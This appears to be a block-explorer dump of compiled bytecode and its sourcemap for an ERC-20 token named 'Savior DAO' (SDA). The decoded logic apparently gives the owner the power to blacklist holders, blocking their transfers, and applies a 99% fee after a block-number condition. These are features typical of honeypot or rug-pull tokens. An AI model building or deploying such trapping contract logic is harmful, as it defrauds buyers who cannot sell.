0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063bd3900c01161008a578063dd62ed3e11610064578063dd62ed3e146104c8578063ddb3a63b1461050e578063ddfcd18c1461052e578063e10fb3601461054357600080fd5b8063bd3900c014610473578063bffe77ad14610493578063d1d71d60146104b357600080fd5b80638da5cb5b116100c65780638da5cb5b146103df5780638f9a55c01461041157806395d89b4114610427578063a9059cbb1461045357600080fd5b8063715018a6146103945780637d1db4a5146103a95780638b52b573146103bf57600080fd5b8063313ce567116101595780634711325f116101335780634711325f146103285780634a30b3861461033e5780635c571fa21461035357806370a082311461037457600080fd5b8063313ce567146102d6578063328e9e17146102f257806334376f3b1461031257600080fd5b806318160ddd1161019557806318160ddd1461025e5780631d97b7cd14610281578063237b8c721461029657806323b872dd146102b657600080fd5b806306fdde03146101c7578063095ea7b31461020c57806314a0a1b51461023c57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600a815269536176696f722044414f60b01b60208201525b60405161020391906119f5565b60405180910390f35b34801561021857600080fd5b5061022c610227366004611a68565b610563565b6040519015158152602001610203565b34801561024857600080fd5b5061025c610257366004611a94565b61057a565b005b34801561026a57600080fd5b5061027361060c565b604051908152602001610203565b34801561028d57600080fd5b5061025c61062e565b3480156102a257600080fd5b5061025c6102b1366004611aad565b6109de565b3480156102c257600080fd5b5061022c6102d1366004611aca565b610a42565b3480156102e257600080fd5b5060405160128152602001610203565b3480156102fe57600080fd5b5061025c61030d366004611b19565b610aa6565b34801561031e57600080fd5b50610273600e5481565b34801561033457600080fd5b5061027360085481565b34801561034a57600080fd5b5061025c610af2565b34801561035f57600080fd5b5060095461022c90600160a01b900460ff1681565b34801561038057600080fd5b5061027361038f366004611aad565b610b8e565b3480156103a057600080fd5b5061025c610ba9565b3480156103b557600080fd5b50610273600c5481565b3480156103cb57600080fd5b5061025c6103da366004611a94565b610c1d565b3480156103eb57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610203565b34801561041d57600080fd5b50610273600d5481565b34801561043357600080fd5b5060408051808201909152600381526253444160e81b60208201526101f6565b34801561045f57600080fd5b5061022c61046e366004611a68565b610c88565b34801561047f57600080fd5b506009546103f9906001600160a01b031681565b34801561049f57600080fd5b5061025c6104ae366004611b4d565b610c95565b3480156104bf57600080fd5b5061025c610d2b565b3480156104d457600080fd5b506102736104e3366004611c12565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051a57600080fd5b5061025c610529366004611b4d565b610d60565b34801561053a57600080fd5b5061025c610e79565b34801561054f57600080fd5b5061025c61055e366004611a94565b610eca565b6000610570338484610f3d565b5060015b92915050565b6000546001600160a01b031633146105ad5760405162461bcd60e51b81526004016105a490611c4b565b60405180910390fd5b601054600160a01b900460ff16156106075760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c656400000000000000000060448201526064016105a4565b601255565b600061061a6012600a611d7a565b6106299064e8d4a51000611d89565b905090565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105a490611c4b565b601054600160a01b900460ff16156106b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a4565b600654600f80546001600160a01b0319166001600160a01b0390921691821790556106f99030906106e56012600a611d7a565b6106f49064e8d4a51000611d89565b610f3d565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107709190611da0565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f69190611da0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610843573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108679190611da0565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061089781610b8e565b6000806108ac6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610914573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109399190611dbd565b505043601155506010805460ff60a01b198116600160a01b179091556013805461ff001916610100179055600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156109b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109db9190611deb565b50565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016105a490611c4b565b600580546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000610a4f848484611061565b610a9c84336106f485604051806060016040528060288152602001611ef1602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061156e565b5060019392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016105a490611c4b565b60098054921515600160a01b0260ff60a01b1990931692909217909155600855565b6000546001600160a01b03163314610b1c5760405162461bcd60e51b81526004016105a490611c4b565b610b286012600a611d7a565b610b379064e8d4a51000611d89565b600c55610b466012600a611d7a565b610b559064e8d4a51000611d89565b600d55604051600181527f97349b872222986eb84ae5a80d8908f03ad1daf9e73bdae7d35a48264fdb293e9060200160405180910390a1565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b03163314610bd35760405162461bcd60e51b81526004016105a490611c4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c475760405162461bcd60e51b81526004016105a490611c4b565b801580610c5b5750610c5830610b8e565b81115b15610c6c57610c6930610b8e565b90505b6109db30610c826000546001600160a01b031690565b83611061565b6000610570338484611061565b6000546001600160a01b03163314610cbf5760405162461bcd60e51b81526004016105a490611c4b565b60005b8151811015610d2757600060046000848481518110610ce357610ce3611e08565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d1f81611e1e565b915050610cc2565b5050565b6000546001600160a01b03163314610d555760405162461bcd60e51b81526004016105a490611c4b565b610d5e476115a8565b565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b81526004016105a490611c4b565b60005b8151811015610d2757600f5482516001600160a01b0390911690839083908110610db957610db9611e08565b60200260200101516001600160a01b031614158015610e0a575060105482516001600160a01b0390911690839083908110610df657610df6611e08565b60200260200101516001600160a01b031614155b15610e6757600160046000848481518110610e2757610e27611e08565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610e7181611e1e565b915050610d8d565b6000546001600160a01b03163314610ea35760405162461bcd60e51b81526004016105a490611c4b565b6000610eae30610b8e565b90506109db600e548211610ec257816115e2565b600e546115e2565b6000546001600160a01b03163314610ef45760405162461bcd60e51b81526004016105a490611c4b565b6007548110610f385760405162461bcd60e51b815260206004820152601060248201526f0466565732063616e277420676f2075760841b60448201526064016105a4565b600755565b6001600160a01b038316610f9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a4565b6001600160a01b0382166110005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a4565b6001600160a01b0382166111275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a4565b600081116111895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a4565b600080546001600160a01b038581169116148015906111b657506000546001600160a01b03848116911614155b1561142b576001600160a01b03841660009081526004602052604090205460ff161580156111fd57506001600160a01b03831660009081526004602052604090205460ff16155b61120657600080fd5b60135460ff1661123357611230606461122a6007548561185b90919063ffffffff16565b906118e4565b90505b436012546011546112449190611e37565b101580156112605750601054600160a01b900460ff1615156001145b1561127857611275606461122a84606361185b565b90505b6010546001600160a01b0385811691161480156112a35750600f546001600160a01b03848116911614155b80156112c857506001600160a01b03831660009081526003602052604090205460ff16155b1561139a57600c5482111561131f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a4565b600d548261132c85610b8e565b6113369190611e37565b11156113845760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a4565b600b805490600061139483611e1e565b91905055505b60006113a530610b8e565b60135490915060ff161580156113c957506010546001600160a01b03868116911614155b80156113dc5750601354610100900460ff165b80156113e95750600e5481115b80156113f85750600a54600b54115b156114295761141783600e541161141157600e546115e2565b836115e2565b47801561142757611427476115a8565b505b505b6001600160a01b03841660009081526001602052604090205461144e9083611926565b6001600160a01b0385166000908152600160205260409020556114936114748383611926565b6001600160a01b03851660009081526001602052604090205490611968565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114dd8585611926565b60405190815260200160405180910390a38015611568573060009081526001602052604090205461150e9082611968565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061155f9085815260200190565b60405180910390a35b50505050565b600081848411156115925760405162461bcd60e51b81526004016105a491906119f5565b50600061159f8486611e4a565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d27573d6000803e3d6000fd5b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050600061162c606461122a6008548661185b90919063ffffffff16565b600954909150600160a01b900460ff161561164e5761164b8184611e4a565b92505b308260008151811061166257611662611e08565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116df9190611da0565b826001815181106116f2576116f2611e08565b6001600160a01b039283166020918202929092010152600f546117189130911685610f3d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611751908690600090879030904290600401611e5d565b600060405180830381600087803b15801561176b57600080fd5b505af115801561177f573d6000803e3d6000fd5b5050600954600160a01b900460ff16915050801561179d5750600081115b1561184c576009546001600160a01b03166000908152600160205260409020546117c79082611968565b6009546001600160a01b03166000908152600160205260408082209290925530815220546117f59082611926565b306000818152600160209081526040918290209390935560095490518481526001600160a01b03909116927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b50506013805460ff1916905550565b60008260000361186d57506000610574565b60006118798385611d89565b9050826118868583611ece565b146118dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a4565b9392505050565b60006118dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c7565b60006118dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156e565b6000806119758385611e37565b9050838110156118dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a4565b600081836119e85760405162461bcd60e51b81526004016105a491906119f5565b50600061159f8486611ece565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109db57600080fd5b8035611a6381611a43565b919050565b60008060408385031215611a7b57600080fd5b8235611a8681611a43565b946020939093013593505050565b600060208284031215611aa657600080fd5b5035919050565b600060208284031215611abf57600080fd5b81356118dd81611a43565b600080600060608486031215611adf57600080fd5b8335611aea81611a43565b92506020840135611afa81611a43565b929592945050506040919091013590565b80151581146109db57600080fd5b60008060408385031215611b2c57600080fd5b8235611a8681611b0b565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6057600080fd5b823567ffffffffffffffff80821115611b7857600080fd5b818501915085601f830112611b8c57600080fd5b813581811115611b9e57611b9e611b37565b8060051b604051601f19603f83011681018181108582111715611bc357611bc3611b37565b604052918252848201925083810185019188831115611be157600080fd5b938501935b82851015611c0657611bf785611a58565b84529385019392850192611be6565b98975050505050505050565b60008060408385031215611c2557600080fd5b8235611c3081611a43565b91506020830135611c4081611a43565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611cd1578160001904821115611cb757611cb7611c80565b80851615611cc457918102915b93841c9390800290611c9b565b509250929050565b600082611ce857506001610574565b81611cf557506000610574565b8160018114611d0b5760028114611d1557611d31565b6001915050610574565b60ff841115611d2657611d26611c80565b50506001821b610574565b5060208310610133831016604e8410600b8410161715611d54575081810a610574565b611d5e8383611c96565b8060001904821115611d7257611d72611c80565b029392505050565b60006118dd60ff841683611cd9565b808202811582820484141761057457610574611c80565b600060208284031215611db257600080fd5b81516118dd81611a43565b600080600060608486031215611dd257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611dfd57600080fd5b81516118dd81611b0b565b634e487b7160e01b600052603260045260246000fd5b600060018201611e3057611e30611c80565b5060010190565b8082018082111561057457610574611c80565b8181038181111561057457610574611c80565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ead5784516001600160a01b031683529383019391830191600101611e88565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eeb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bcbdee1b25d1a3b2f5e2e3a7d0a61ee8e7760e85670d0ee437c0206bee3a3d9d64736f6c63430008110033
Deployed Bytecode Sourcemap
3517:8994:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5315:83;;;;;;;;;;-1:-1:-1;5385:5:0;;;;;;;;;;;;-1:-1:-1;;;5385:5:0;;;;5315:83;;;;;;;:::i;:::-;;;;;;;;6148:161;;;;;;;;;;-1:-1:-1;6148:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6148:161:0;1162:187:1;12344:164:0;;;;;;;;;;-1:-1:-1;12344:164:0;;;;;:::i;:::-;;:::i;:::-;;5592:95;;;;;;;;;;;;;:::i;:::-;;;1685:25:1;;;1673:2;1658:18;5592:95:0;1539:177:1;10733:689:0;;;;;;;;;;;;;:::i;12187:151::-;;;;;;;;;;-1:-1:-1;12187:151:0;;;;;:::i;:::-;;:::i;6317:313::-;;;;;;;;;;-1:-1:-1;6317:313:0;;;;;:::i;:::-;;:::i;5501:83::-;;;;;;;;;;-1:-1:-1;5501:83:0;;4242:2;2576:36:1;;2564:2;2549:18;5501:83:0;2434:184:1;8835:152:0;;;;;;;;;;-1:-1:-1;8835:152:0;;;;;:::i;:::-;;:::i;4534:42::-;;;;;;;;;;;;;;;;4005:26;;;;;;;;;;;;;;;;9924:159;;;;;;;;;;;;;:::i;4105:27::-;;;;;;;;;;-1:-1:-1;4105:27:0;;;;-1:-1:-1;;;4105:27:0;;;;;;5695:119;;;;;;;;;;-1:-1:-1;5695:119:0;;;;;:::i;:::-;;:::i;2592:148::-;;;;;;;;;;;;;:::i;4424:47::-;;;;;;;;;;;;;;;;11938:243;;;;;;;;;;-1:-1:-1;11938:243:0;;;;;:::i;:::-;;:::i;2378:79::-;;;;;;;;;;-1:-1:-1;2416:7:0;2443:6;-1:-1:-1;;;;;2443:6:0;2378:79;;;-1:-1:-1;;;;;3224:32:1;;;3206:51;;3194:2;3179:18;2378:79:0;3060:203:1;4478:49:0;;;;;;;;;;;;;;;;5406:87;;;;;;;;;;-1:-1:-1;5478:7:0;;;;;;;;;;;;-1:-1:-1;;;5478:7:0;;;;5406:87;;5822:167;;;;;;;;;;-1:-1:-1;5822:167:0;;;;;:::i;:::-;;:::i;4053:45::-;;;;;;;;;;-1:-1:-1;4053:45:0;;;;-1:-1:-1;;;;;4053:45:0;;;10553:172;;;;;;;;;;-1:-1:-1;10553:172:0;;;;;:::i;:::-;;:::i;11834:98::-;;;;;;;;;;;;;:::i;5997:143::-;;;;;;;;;;-1:-1:-1;5997:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6105:18:0;;;6078:7;6105:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5997:143;10205:340;;;;;;;;;;-1:-1:-1;10205:340:0;;;;;:::i;:::-;;:::i;11588:240::-;;;;;;;;;;;;;:::i;11430:152::-;;;;;;;;;;-1:-1:-1;11430:152:0;;;;;:::i;:::-;;:::i;6148:161::-;6223:4;6240:39;207:10;6263:7;6272:6;6240:8;:39::i;:::-;-1:-1:-1;6297:4:0;6148:161;;;;;:::o;12344:164::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;;;;;;;;;12420:14:::1;::::0;-1:-1:-1;;;12420:14:0;::::1;;;:21;12412:56;;;::::0;-1:-1:-1;;;12412:56:0;;5482:2:1;12412:56:0::1;::::0;::::1;5464:21:1::0;5521:2;5501:18;;;5494:30;5560:25;5540:18;;;5533:53;5603:18;;12412:56:0::1;5280:347:1::0;12412:56:0::1;12479:18;:21:::0;12344:164::o;5592:95::-;5645:7;4293:13;4242:2;4293;:13;:::i;:::-;4286:20;;:4;:20;:::i;:::-;5665:14;;5592:95;:::o;10733:689::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;10799:14:::1;::::0;-1:-1:-1;;;10799:14:0;::::1;;;10798:15;10790:50;;;::::0;-1:-1:-1;;;10790:50:0;;7522:2:1;10790:50:0::1;::::0;::::1;7504:21:1::0;7561:2;7541:18;;;7534:30;7600:25;7580:18;;;7573:53;7643:18;;10790:50:0::1;7320:347:1::0;10790:50:0::1;10888:14;::::0;10851:15:::1;:52:::0;;-1:-1:-1;;;;;;10851:52:0::1;-1:-1:-1::0;;;;;10888:14:0;;::::1;10851:52:::0;;::::1;::::0;;10914:58:::1;::::0;10931:4:::1;::::0;4293:13:::1;4242:2;4293;:13;:::i;:::-;4286:20;::::0;:4:::1;:20;:::i;:::-;10914:8;:58::i;:::-;11017:15;;;;;;;;;-1:-1:-1::0;;;;;11017:15:0::1;-1:-1:-1::0;;;;;11017:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10999:55:0::1;;11063:4;11070:15;;;;;;;;;-1:-1:-1::0;;;;;11070:15:0::1;-1:-1:-1::0;;;;;11070:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10999:94;::::0;-1:-1:-1;;;;;;10999:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8158:15:1;;;10999:94:0::1;::::0;::::1;8140:34:1::0;8210:15;;8190:18;;;8183:43;8075:18;;10999:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10983:13;:110:::0;;-1:-1:-1;;;;;;10983:110:0::1;-1:-1:-1::0;;;;;10983:110:0;;::::1;;::::0;;11104:15:::1;::::0;::::1;:31;11143:21;11174:4;11180:24;11174:4:::0;11180:9:::1;:24::i;:::-;11205:1;11207::::0;11209:7:::1;2416::::0;2443:6;-1:-1:-1;;;;;2443:6:0;;2378:79;11209:7:::1;11104:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11104:129:0;;;-1:-1:-1;;;;;8596:15:1;;;11104:129:0::1;::::0;::::1;8578:34:1::0;8628:18;;;8621:34;;;;8671:18;;;8664:34;;;;8714:18;;;8707:34;8778:15;;;8757:19;;;8750:44;11217:15:0::1;8810:19:1::0;;;8803:35;8512:19;;11104:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11259:12:0::1;11244;:27:::0;-1:-1:-1;11282:14:0::1;:21:::0;;-1:-1:-1;;;;11282:21:0;::::1;-1:-1:-1::0;;;11282:21:0::1;::::0;;;11314:11:::1;:18:::0;;-1:-1:-1;;11314:18:0::1;11282:21;11314:18;::::0;;11381:15:::1;::::0;11343:71:::1;::::0;-1:-1:-1;;;11343:71:0;;-1:-1:-1;;;;;11381:15:0;;::::1;11343:71;::::0;::::1;9334:51:1::0;-1:-1:-1;;9401:18:1;;;9394:34;11350:13:0;;;11343:29:::1;::::0;9307:18:1;;11343:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10733:689::o:0;12187:151::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;12262:11:::1;:21:::0;;-1:-1:-1;;;;;12262:21:0;;::::1;-1:-1:-1::0;;;;;;12262:21:0;;::::1;::::0;::::1;::::0;;:11:::1;12294:29:::0;;;:18:::1;:29;::::0;;;;:36;;-1:-1:-1;;12294:36:0::1;12262:21:::0;12294:36:::1;::::0;;12187:151::o;6317:313::-;6415:4;6432:36;6442:6;6450:9;6461:6;6432:9;:36::i;:::-;6479:121;6488:6;207:10;6510:89;6548:6;6510:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6510:19:0;;;;;;:11;:19;;;;;;;;207:10;6510:33;;;;;;;;;;:37;:89::i;6479:121::-;-1:-1:-1;6618:4:0;6317:313;;;;;:::o;8835:152::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;8924:9:::1;:16:::0;;;::::1;;-1:-1:-1::0;;;8924:16:0::1;-1:-1:-1::0;;;;8924:16:0;;::::1;::::0;;;::::1;::::0;;;8951:9:::1;:28:::0;8835:152::o;9924:159::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;4293:13:::1;4242:2;4293;:13;:::i;:::-;4286:20;::::0;:4:::1;:20;:::i;:::-;9978:12;:22:::0;4293:13:::1;4242:2;4293;:13;:::i;:::-;4286:20;::::0;:4:::1;:20;:::i;:::-;10011:14;:22:::0;10049:26:::1;::::0;10070:4:::1;1302:41:1::0;;10049:26:0::1;::::0;1290:2:1;1275:18;10049:26:0::1;;;;;;;9924:159::o:0;5695:119::-;-1:-1:-1;;;;;5788:18:0;5761:7;5788:18;;;:9;:18;;;;;;;5695:119::o;2592:148::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;2699:1:::1;2683:6:::0;;2662:40:::1;::::0;-1:-1:-1;;;;;2683:6:0;;::::1;::::0;2662:40:::1;::::0;2699:1;;2662:40:::1;2730:1;2713:19:::0;;-1:-1:-1;;;;;;2713:19:0::1;::::0;;2592:148::o;11938:243::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;12007:11;;;:48:::1;;;12031:24;12049:4;12031:9;:24::i;:::-;12022:6;:33;12007:48;12003:114;;;12081:24;12099:4;12081:9;:24::i;:::-;12072:33;;12003:114;12127:39;12145:4;12151:7;2416::::0;2443:6;-1:-1:-1;;;;;2443:6:0;;2378:79;12151:7:::1;12159:6;12127:9;:39::i;5822:167::-:0;5900:4;5917:42;207:10;5941:9;5952:6;5917:9;:42::i;10553:172::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;10630:6:::1;10625:93;10646:5;:12;10642:1;:16;10625:93;;;10703:5;10678:12;:22;10691:5;10697:1;10691:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10678:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10678:22:0;:30;;-1:-1:-1;;10678:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10660:3;::::1;::::0;::::1;:::i;:::-;;;;10625:93;;;;10553:172:::0;:::o;11834:98::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;11885:39:::1;11902:21;11885:16;:39::i;:::-;11834:98::o:0;10205:340::-;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;10282:6:::1;10277:261;10298:5;:12;10294:1;:16;10277:261;;;10394:15;::::0;10374:8;;-1:-1:-1;;;;;10394:15:0;;::::1;::::0;10374:5;;10380:1;;10374:8;::::1;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10374:36:0::1;;;:74;;;;-1:-1:-1::0;10434:13:0::1;::::0;10414:8;;-1:-1:-1;;;;;10434:13:0;;::::1;::::0;10414:5;;10420:1;;10414:8;::::1;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10414:34:0::1;;;10374:74;10371:142;;;10493:4;10468:12;:22;10481:5;10487:1;10481:8;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10468:22:0::1;-1:-1:-1::0;;;;;10468:22:0::1;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;10371:142;10312:3:::0;::::1;::::0;::::1;:::i;:::-;;;;10277:261;;11588:240:::0;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;11692:23:::1;11718:24;11736:4;11718:9;:24::i;:::-;11692:50;;11753:67;11786:8;;11770:15;:24;:49;;11804:15;11753:16;:67::i;11770:49::-;11795:8;;11753:16;:67::i;11430:152::-:0;2505:6;;-1:-1:-1;;;;;2505:6:0;207:10;2505:22;2497:67;;;;-1:-1:-1;;;2497:67:0;;;;;;;:::i;:::-;11514:10:::1;;11503:8;:21;11495:49;;;::::0;-1:-1:-1;;;11495:49:0;;10163:2:1;11495:49:0::1;::::0;::::1;10145:21:1::0;10202:2;10182:18;;;10175:30;-1:-1:-1;;;10221:18:1;;;10214:46;10277:18;;11495:49:0::1;9961:340:1::0;11495:49:0::1;11555:10;:19:::0;11430:152::o;6638:335::-;-1:-1:-1;;;;;6731:19:0;;6723:68;;;;-1:-1:-1;;;6723:68:0;;10508:2:1;6723:68:0;;;10490:21:1;10547:2;10527:18;;;10520:30;10586:34;10566:18;;;10559:62;-1:-1:-1;;;10637:18:1;;;10630:34;10681:19;;6723:68:0;10306:400:1;6723:68:0;-1:-1:-1;;;;;6810:21:0;;6802:68;;;;-1:-1:-1;;;6802:68:0;;10913:2:1;6802:68:0;;;10895:21:1;10952:2;10932:18;;;10925:30;10991:34;10971:18;;;10964:62;-1:-1:-1;;;11042:18:1;;;11035:32;11084:19;;6802:68:0;10711:398:1;6802:68:0;-1:-1:-1;;;;;6881:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6933:32;;1685:25:1;;;6933:32:0;;1658:18:1;6933:32:0;;;;;;;6638:335;;;:::o;6981:1848::-;-1:-1:-1;;;;;7069:18:0;;7061:68;;;;-1:-1:-1;;;7061:68:0;;11316:2:1;7061:68:0;;;11298:21:1;11355:2;11335:18;;;11328:30;11394:34;11374:18;;;11367:62;-1:-1:-1;;;11445:18:1;;;11438:35;11490:19;;7061:68:0;11114:401:1;7061:68:0;-1:-1:-1;;;;;7148:16:0;;7140:64;;;;-1:-1:-1;;;7140:64:0;;11722:2:1;7140:64:0;;;11704:21:1;11761:2;11741:18;;;11734:30;11800:34;11780:18;;;11773:62;-1:-1:-1;;;11851:18:1;;;11844:33;11894:19;;7140:64:0;11520:399:1;7140:64:0;7232:1;7223:6;:10;7215:64;;;;-1:-1:-1;;;7215:64:0;;12126:2:1;7215:64:0;;;12108:21:1;12165:2;12145:18;;;12138:30;12204:34;12184:18;;;12177:62;-1:-1:-1;;;12255:18:1;;;12248:39;12304:19;;7215:64:0;11924:405:1;7215:64:0;7300:13;2443:6;;-1:-1:-1;;;;;7330:15:0;;;2443:6;;7330:15;;;;:32;;-1:-1:-1;2416:7:0;2443:6;-1:-1:-1;;;;;7349:13:0;;;2443:6;;7349:13;;7330:32;7326:1167;;;-1:-1:-1;;;;;7388:18:0;;;;;;:12;:18;;;;;;;;7387:19;:40;;;;-1:-1:-1;;;